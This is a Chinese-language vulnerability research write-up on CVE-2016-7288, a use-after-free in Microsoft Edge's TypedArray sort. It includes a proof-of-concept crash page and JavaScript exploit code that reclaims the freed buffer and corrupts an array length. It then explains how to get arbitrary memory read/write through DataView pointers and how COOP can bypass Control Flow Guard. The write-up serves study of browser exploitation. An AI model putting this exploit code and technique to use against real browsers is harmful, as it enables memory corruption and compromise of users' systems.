漏洞概述
该漏洞是一个验证不严格导致的 UAF 漏洞,漏洞样本和原因在 P0 网站上都能找到 Issue 983
漏洞样本
P0 提供的样本并不能保证漏洞的稳定触发,这里根据 http://blog.quarkslab.com/exploiting-ms16-145-ms-edge-typedarraysort-use-after-free-cve-2016-7288.html 文章的内容对样本进行了修改,使其可以稳定崩溃
<html><body><script>
var buf = new ArrayBuffer(0x10000);
var numbers = new Uint32Array(buf);
function v(){
the_worker = new Worker('the_worker.js');
the_worker.onmessage = function(evt) {
console.log("worker.onmessage: " + evt.toString());
}
//Neuter the ArrayBuffer
the_worker.postMessage(buf, [buf]);
//Force the underlying raw buffer to be freed before returning!
the_worker.terminate();
the_worker = null;
var start = Date.now();
while (Date.now() - start < 2000){
}
return 0;
}
function compareNumbers(a, b) {
return {valueOf : v};
}
try{
numbers.sort(compareNumbers);
}catch(e){
alert(e.message);
}
</script></body></html>
漏洞环境
这里使用的漏洞环境是 Win 10 x64 ,Edge 版本为 11.0.14393.0
漏洞环境漏洞分析
该漏洞产生的原因是由于如下代码判断不完善
template<typename T> int __cdecl TypedArrayCompareElementsHelper(void* context, const void* elem1, const void* elem2)
{
//......
Var retVal = CALL_FUNCTION(compFn, CallInfo(CallFlags_Value, 3),
undefined,
JavascriptNumber::ToVarWithCheck((double)x, scriptContext),
JavascriptNumber::ToVarWithCheck((double)y, scriptContext));
Assert(TypedArrayBase::Is(contextArray[0]));
if (TypedArrayBase::IsDetachedTypedArray(contextArray[0]))
{
JavascriptError::ThrowTypeError(scriptContext, JSERR_DetachedTypedArray, _u("[TypedArray].prototype.sort"));
}
if (TaggedInt::Is(retVal))
{
return TaggedInt::ToInt32(retVal);
}
if (JavascriptNumber::Is_NoTaggedIntCheck(retVal))
{
dblResult = JavascriptNumber::GetValue(retVal);
}
else
{
dblResult = JavascriptConversion::ToNumber_Full(retVal, scriptContext);
}
//......
}
函数在调用 CALL_FUNCTION
之后,为了防止在 js 中对 TypedArray 进行直接操作,函数立刻进行了验证,若在 js 中 TypedArray 被释放则抛出异常;但是随后的函数 ToNumber_Full
语句会调用 ValueOf
方法将 CALL_FUNCTION
的返回值转化为 Number,这里又会进入 js 层的调用,而其后却没有验证,从而可能导致崩溃。如样本所示在 ValueOf
函数中将 TypedArray 释放,再次访问 TypedArray 时就会触发漏洞。
漏洞利用
内存占位
该漏洞是一个 UAF 漏洞,漏洞触发点处于 Array.sort
中对 Array 中数据进行交换时。因此可以考虑使用一个 Array 对象占位,然而在 Edge 浏览器中一般的 Array 对象的内存空间与 ArrayBuffer 的内存空间分别处于两种区域内。Array 的内存空间由 Memgc 统一分配和管理,而 ArrayBuffer 的分配函数如下代码所示
JavascriptArrayBuffer::JavascriptArrayBuffer(uint32 length, DynamicType * type) :
ArrayBuffer(length, type, (IsValidVirtualBufferLength(length)) ? AllocWrapper : malloc)
{
}
bool JavascriptArrayBuffer::IsValidVirtualBufferLength(uint length)
{
#if _WIN64
/*
1. length >= 2^16
2. length is power of 2 or (length > 2^24 and length is multiple of 2^24)
3. length is a multiple of 4K
*/
return (!PHASE_OFF1(Js::TypedArrayVirtualPhase) &&
(length >= 0x10000) &&
(((length & (~length + 1)) == length) ||
(length >= 0x1000000 &&
((length & 0xFFFFFF) == 0)
)
) &&
((length % AutoSystemInfo::PageSize) == 0)
);
#else
return false;
#endif
}
在64位的系统中,当申请的 ArrayBuffer 大小小于 0x10000 时会调用 malloc
完成分配,ArrayBuffer 处于 CRT 堆中;当申请的 Array 大于 0x10000 且按页对齐时会调用 AllocWrapper
即 VirtualAlloc
分配。
Array 对象当请求的空间大小很大时,Memgc也是直接使用 VirtualAlloc 完成分配请求。因此这里可以考虑使用一个大小为 0x10000 的 NativeIntArray 对 ArrayBuffer 进行占位。如下图,占位成功。
占位前 占位后获取越界数组
再考虑崩溃点为 sort
函数交换数据时。若能在此时控制交换两个数据的位置,便可能可以实现将 Array 对象的 Length 与 其内容相交换,从而将 Length 的长度修改为任意数值。Sort
函数在其内部使用快速排序实现,其交换方式如图所示,其中枢纽值采用三数取中法确定,函数源码可以参见 qsort
因此只需将 Length 所在位置的值设置的比枢纽值大,将某一数据部分的值设置为比枢纽值小,其余位置按正常顺序升序排列即可。这里的枢纽值为 ArrayBuffer 0x2000 处的值 0x2000。Length 所在位置由上图可知在内存块偏移 0x28 处,只需将该值设置为大于 0x2000即可。由此占位并实现超长Array 的利用代码如下
var buf = new ArrayBuffer(0x10000);
var numbers = new Uint32Array(buf);
for(var i=0xa;i<numbers.length;i++)
{
numbers[i] = i;
}
numbers[0xa] = 0x55555555;
numbers[0x3ffe] = 0x10ad;
function reclaim(){
var NUMBER_ARRAYS = 5000;
arr = new Array(NUMBER_ARRAYS);
for (var i = 0; i < NUMBER_ARRAYS; i++) {
arr[i] = new Array((0x10000-0x38)/4);
for (var j = 0; j < arr[i].length; j++) {
arr[i][j] = 0x41414141;
}
arr[i][0x3ff0] = 0x7fffffff;
arr[i][5] = i;
}
}
function v(){
if(this.a == 0x10ad&& this.b == 0x2000)
{
the_worker = new Worker('the_worker.js');
the_worker.onmessage = function(evt) {
console.log("worker.onmessage: " + evt.toString());
}
//Neuter the ArrayBuffer
the_worker.postMessage(buf, [buf]);
//Force the underlying raw buffer to be freed before returning!
the_worker.terminate();
the_worker = null;
var start = Date.now();
while (Date.now() - start < 2000){
}
reclaim()
return 0;
}else{
return this.a-this.b;
}
return this.a - this.b;
}
function compareNumbers(a, b) {
return {valueOf : v,"a":a,"b":b};
}
numbers.sort(compareNumbers);
成功修改 Array 长度后内存情况如下。此时我们便可以使用这个 Array 进行越界访问。
越界数组
任意地址读写
接着我们需要通过这个越界的 Array 获得任意地址读写的能力。在 64 位的系统下任意地址读写比 32 位系统复杂一些。首先,仅使用一个越界数组最多只能访问 4G 大小的内存空间,通过其是无法得到全内存读写能力的(关于将长度设置为 0xffffffff 的方法可以参考 exp-sky 的演讲)。其次, 64 位系统下的地址空间非常大,无法通过堆喷来完全覆盖,且 Edge 在进程内存使用超过 4G 时便会抛出异常。
基于以上原因,在 64 位下实现任意地址读写功能还需要对象其他字段的配合。对于本漏洞利用,这里的思路是通过越界的 Array 越界修改 ArrayBuffer 对象的 backingstore 字段(实际数据指针),用这种方法使 ArraBuffer 可以访问任意内存,从而达到任意地址读写的目的。
首先仍然需要通过堆布局,在该越界的 Array 内存后布局上对象,这里选用的对象为 DataView。DataView 也是由 Memgc 负责管理,其实际的分配位置也是存在于 VirtualAlloc 的空间中,因此当分配了大量 DataView 之后,总会有一部分 DataView 落在越界 Array 附近。其内存情况如图所示
DataView其中数据 0x800
是其所操作的 ArrayBuffer 的长度,0x16771980000
为ArrayBuffer 对象的地址,0x1676f88c800
为 backingstore 指针。直接通过越界 Array 修改 backingstore 便可以通过 DataView 实现任意地址读写。
Array 数组在操作 0x7fffffff 以上的数据时会略微麻烦一些。这里为了便于理解,不直接使用 Array ,而是再修改一层数据。通过 DataView 修改 ArrayBuffer 来实现任意地址读写。
DataView 修改后 ArrayBuffer 修改前 ArrayBuffer 修改后如上图所示,这里首先将 DataView 中保存的 backingstore 替换为 ArrayBuffer 指针,接着通过 DataView 修改 ArrayBuffer 的实际 backingstore。
这样,我们便实现了64位系统下的任意地址读写,读出的部分数据如图所示
COOP
COOP 全称 Counterfeit Object-oriented Programming,是一种较为新型的代码重用攻击。其攻击方式不同于 ROP(Return-oriented Programming),是通过多次调用合法函数,并利用合法函数调用后残留的数据信息来达成攻击目的。
由于笔者关于 COOP 的理解还不是很深入,因此在这里不做过多的探讨。下面的文章中有实际攻击的案例,经笔者测试在当前漏洞环境下可行。Disarming Control Flow Guard Using Advanced Code Reuse Attacks
更多关于 COOP 的信息,可以参见论文 Counterfeit Object-oriented Programming
漏洞小节
该漏洞是笔者第一次在 x64 环境下进行的漏洞利用,由于水平的限制难免会有很多疏漏。x64 的漏洞利用真的比 x86 下复杂太多了~~
网友评论